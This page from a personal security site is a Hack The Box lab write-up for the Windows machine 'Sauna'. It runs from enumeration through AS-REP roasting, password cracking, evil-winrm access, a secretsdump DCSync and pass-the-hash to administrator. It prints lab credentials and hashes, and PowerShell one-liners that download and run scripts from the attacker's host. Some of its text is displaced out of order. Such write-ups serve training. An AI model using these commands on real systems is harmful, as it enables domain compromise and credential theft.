130n@calvinlai.com
  • About Calvin Lai (fkclai)
  • My Work
  • Cyber Security
    • Cyber Security Centre (CSC)
      • Why we need a CSC
      • CSC Team Structure: Roles, Functions, and Tools
        • Key Function & Role
        • Tools & Platforms
        • People
        • Outsource Strategy
      • HRMC Executive Paper
  • Detection and Response
    • Playbook: Threat Prioritization & Automated Response Strategies
      • Scenario: Detecting and Mitigating a Ransomware Attack
      • Scenario: DC Sync Attack Detected and Mitigated
      • Scenario: Pass-the-Hash (PtH) Attack Detected and Contained
      • Scenario: Phishing Campaign with Malware / Credential Theft Detected and Mitigated
  • Application Architecture
    • Comparison of MVC , N-tier and Microservice Architecture
  • Application Security
    • OAuth, SAML, and OpenID Connect: Key Differences and Use Cases
    • Secure Coding Principles
    • HTTP Header Security Principles
    • Mitigating Broken Object Level Authorization (BOLA)
    • Spring Boot Validation
    • Output Encoding in JavaServer Faces (JSF)
    • Session Management Security Issues
    • Common API Security Problems
      • Broken Authentication
      • Excessive Data Exposure
      • Lack of Resources & Rate Limiting
      • Broken Function Level Authorization
      • Unsafe Consumption of APIs
    • JAVA Exception Handling
    • File Upload Validation
    • OAuth 2.0 Security
      • Insecure Storage of Access Tokens
    • Microservice Security
      • Sample Coding Demo
        • Service Implementation
        • Client Interaction
      • Security Solution for Microservices Architecture
    • Modifying and Protecting Java Class Files
      • Modify a Class File Inside a WAR File
      • Direct Bytecode Editing
        • Steps to Directly Edit a Java Class File
          • Update: Java Bytecode Editing Tools
      • Techniques to Protect Java Class Files
        • Runtime Decryption in WebLogic
    • JAVA Program
      • Secure, Concurrent Web Access Using Java and Tor
      • Creating a Maven Java project in Visual Studio Code
  • Exploit/CVE PoC
    • ZeroLogon Exploit
    • Remote Retrieved Chrome saved Encrypted Password
    • Twitter Control an RCE attack
  • Hacking Report (HTB)
    • Hits & Summary
      • Tools & Cheat Sheet
    • Windows Machine
      • Love 10.10.10.239
      • Blackfield 10.10.10.192
      • Remote 10.10.10.180
      • Sauna 10.10.10.175
      • Forest 10.10.10.161
      • Sniper
      • Json
      • Heist
      • Blue
      • Legacy
      • Resolute
      • Cascade
    • Linux Machine
      • Photobomb 10.10.11.182
      • Pandora 10.10.11.136
      • BountyHunter 10.10.11.100
      • CAP 10.10.10.245
      • Spectra 10.10.10.229
      • Ready 10.10.10.220
      • Doctor 10.10.10.209
      • Bucket 10.10.10.212
      • Blunder 10.10.10.191
      • Registry 10.10.10.159
      • Magic
      • Tabby
  • Penetration Testing
    • Web Application PenTest
    • Network/System PenTest
    • Mobile Penetration Test
      • Certificate Pinning
        • Certificate Pinning Bypass (Android)
          • Root a Android Device
          • Setup Proxy Tool - Burp Suite
      • Checklist
  • Threat Intelligence
    • Advanced Persistent Threat (APT) groups
      • North Korean APT Groups
      • Chinese APT Groups
      • Russian APT Groups
      • Other APT
  • Red Team (Windows)
    • 01 Reconnaissance
    • 02 Privileges Escalation
    • 03 Lateral Movement
    • 04 AD Attacks
      • DCSync
    • 05 Bypass-Evasion
    • 06 Kerberos Attack
    • 99 Basic Command
  • Exploitation Guide
    • 01 Reconnaissance
    • 02 Port Enumeration
    • 03 Web Enumeration
    • 04 Windows Enum & Exploit
      • Windows Credential Dumping
        • Credential Dumping: SAM
        • Credential Dumping: DCSync
      • Kerberos Attack
      • RDP
    • 05 File Enumeration
    • 06 Reverse Shell Cheat Sheet
      • Windows Reverse Shell
      • Linux Reverse Shell
    • 07 SQL Injection
    • 08 BruteForce
    • 09 XSS Bypass Checklist
    • 10 Spring Boot
    • 11 WPA
    • 12 Payload list
  • Vuln Hub (Writeup)
    • MrRobot
    • CYBERRY
    • MATRIX 1
    • Node-1
    • DPwwn-1
    • DC7
    • AiWeb-2
    • AiWeb-1
    • BrainPan
  • CTF (Writeup & Tips)
    • CTF Tools & Tips
    • Hacker One
    • CTF Learn
    • P.W.N. University - CTF 2018
    • HITCON
    • Pwnable
      • 01 Start
  • Useful Command/Tools
    • Kali
    • Windows
    • Linux
  • Offensive Security Lab & Exam
    • Lab
    • Tools for an Offensive Certification
      • Strategy for an Offensive Exam Certification
        • CVEs
        • Privilege Escalation
        • Commands
        • Impacket
  • ISO 27001
    • Disclaimer
    • What is ISO 27001
      • Implementation
    • Documentation
    • Common Mistake
    • Q&A
      • Can internal audit to replace the risk assessment
      • Is it sufficient for only the IT department head to support the ISO 27001 program
      • Does the Business Continuity Plan (BCP) and a Disaster Recovery Plan (DRP) are the same?
    • ISO 27001 Controls and Domains
      • 1. Information Security Policies
      • 2. Organization of Information Security
      • 3. Human Resource Security
      • 4. Asset Management
      • 5. Access Control
      • 6. Cryptographic Controls
      • 7. Physical and Environmental Security
      • 8: Operational Security
      • 9. Communications Security
      • 10. System Acquisition, Development, and Maintenance
      • 11. Supplier Relationships
      • 12: Information Security Incident Management
      • 13. Information Security Aspects of Business Continuity Management
      • 14. Compliance
Powered by GitBook
On this page
  • Background:
  • Background
  • Penetrating Methodology:
  • Service Scanning
  • Enumeration
  • Exploitation
  • Getting Less Privilege Shell
  • Hacking Process Part 0 – Service Scanning
  • Hacking Process Part 1 – Enumeration
  • 1.1) Strategy 1 Check Vulnerability
  • 1.2) Strategy 1 Check any hidden files/folders of the website
  • 1.3) LDAP
  • Hacking Process Part 2 – Get Low Privilege Access
  • Hacking Process Part 3 – Windows Privilege Escalation
  • Conclusion...
  • Reference Link

Was this helpful?

  1. Hacking Report (HTB)
  2. Windows Machine

Sauna 10.10.10.175

Technology is just a tool. In terms of getting the kids working together and motivating them, the teacher is the most important. <Bill Gates>

PreviousRemote 10.10.10.180NextForest 10.10.10.161

Last updated 4 years ago

Was this helpful?

Background:

Background

Possible usernames can be found on the website that can be used on an ASREPRoasting attack. A password hash is found and the plaintext password was recovered by an offline brute force attack. This user credential is able to WinRM to the box.

Running WinPEAS reveals the possible path for the Privilege Escalation (PE), the result shows that there a system user has been configured to automatically log in and this user has Windows remote management permissions.

130n@calvinlai.com

Target Machine: 10.10.10.175

Attacking (Hacker) machine: 10.10.14.15

Penetrating Methodology:

Service Scanning

  • Nmap

Enumeration

  • Nikto

  • Dirb

  • ldapsearch

  • nmap -p 88 --script krb5-enum-users

  • nmap -p 389 --script ldap-rootdse

  • GetNPUsers.py

Exploitation

  • WinRM

  • ASREPRoasting Attack

  • DCSync Attack

Getting Less Privilege Shell

  • PtH Attack

  • Windows-Exploit-Suggester

Hacking Process Part 0 – Service Scanning

The target machine IP is 192.168.187.134. Get a basic understanding the available services of the target machine using nmap aggressive scanning to all available ports.

0.1) Details Analysis

nmap -n -sV -vv --open -Pn -p- -A --reason -oN nmap.txt sauna.htb

Enumeration strategies

  1. Check Website Vulnerability

  2. Check any hidden files/folders of the website

  3. Check SMB

Hacking Process Part 1 – Enumeration

1.1) Strategy 1 Check Vulnerability

Nikto -- no vulnerability can be abused to bypass authentication.

1.2) Strategy 1 Check any hidden files/folders of the website

Cannot found any hidden files or folder of this website python3 /root/Documents/ctf/tools/dirsearch/dirsearch.py -u http://192.168.187.134/ -e php,txt -x 301,302,403,404 --simple-report=mrRobot.dirsearch

1.3) LDAP

nmap -p 389 --script ldap-rootdse sauna.htb

Got some domain's background information CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.local' sauna.htb

Using the ldapsearch -x -h sauna.htb -b "DC=EGOTISTICAL-BANK,DC=local", a user "Hugo Smith" account was found

Hacking Process Part 2 – Get Low Privilege Access

According to the domain account found above, the login id would be a combination of the user name found at the "Meet The Team" page.

The possible combination of the user name list was created below and saved at the users.txt

fergussmith,fsmith,ferguss
shauncoins,scooin, shaunc
hugobear,hbear, hugob
bowietaylor,btaylor, bowiet
sophiedriver,sdriver, sophied
stevenkerb,skerb,stevenk

/usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -no-pass -outputfile getNPUsers.result -dc-ip sauna.htb

It returned a hash for the user fsmith Selected the krb5asrep as the format of hash mode for the ASREPRosating,

john fsmith.tgt -format:krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt

The password of this user account "fsmith" was "Thestrokes23"

Using the obtained credentials fsmith/Thestrokes23 to access the system

SMB Map smbmap -u fsmith -p Thestrokes23 -H sauna.htb -R

The user.txt file was found in the Desktop folder.

1b5520b98d97cf17f24122a55baf70cf

Hacking Process Part 3 – Windows Privilege Escalation

Enumerating users After gaining the initial access of the machine, a svc_loanmgr account was found under the c:\Users folder but the current account did not have access rights to read the folder

Enumerating the environment

The password of svc_loanmanager was found

According to the net user result above, this user was under the Remote Management Users group. Using the evil-winrm again to login /root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u svc_loanmgr -p Moneymakestheworldgoround! -i sauna.htb

/usr/share/doc/python3-impacket/examples/secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

Tried to connect with winrm again using the password hash

/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u administrator --hash 500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175

f3ee04965c68257382e31502cc5e881f

Conclusion...

一開始getnpuser dump到hash是因為剛好fsmith呢個user個account有check到not required kerberos pre authentication,所以可以用呢個account來gen ticket dump到個hash,又剛好個account用weak password破解到,所以羅到user

root就svc_loanmgr呢個service account讀到ad個db,所以dump到個db羅曬hash

by default not required kerberos authentication係無check到的,一般是app唔support kerberos,所以要check

Lesson Learn

2) Weak password policy is in place

Reference Link

is an easy difficulty Windows machine from HacktheBox, it requires on the Active Directory enumeration technique and Kerberos attack, for training your ethical hacking skills and penetration testing skills.

I was thinking that would it be an Using Impacket's to extract a hash from my prepared user accounts list that did not require pre-authentication.

Windows Remote Management (WinRM) It is a Windows built-in remote management protocol that was enabled by default. Using the to connect to the system evil-winrm.rb -u fsmith -p Thestrokes23 -i sauna.htb

The missing software patches for local privilege escalation vulnerabilities was not found using the script powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.15:8888/Sherlock.ps1'); Find-AllVulns -Command 'start powershell.exe'"

Enumerating with the Powershell Privilege Escalation Enumeration Script powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('');

As this user svc_loanmgr was in the user group NTLM Authentication, tried to reveal the dump the NTLM hashes using the Impacket's

The hash of the adminstrator was extracted, tried the Pass The Hash attack using the Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::

1) The vulnerability occurs when the “Do Not Require Pre-authentication” box is ticked within Users

Sauna
ASREPRoasting attack.
GetNPUser
evil-winrm
Sherlock.ps
WindowsEnum.ps1
http://10.10.14.15:8888/WindowsEnum.ps1
secretsdump.py
pth-winexe
03 Jan 2020
https://download.microsoft.com/download/7/7/a/77abc5bd-8320-41af-863c-6ecfb10cb4b9/mitigating%20pass-the-hash%20(pth)%20attacks%20and%20other%20credential%20theft%20techniques_english.pdf
Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Technques (from Micosoft)
Akimbo Core
Kerberos (II): How to attack Kerberos?Tarlogic Security
Logo
Logo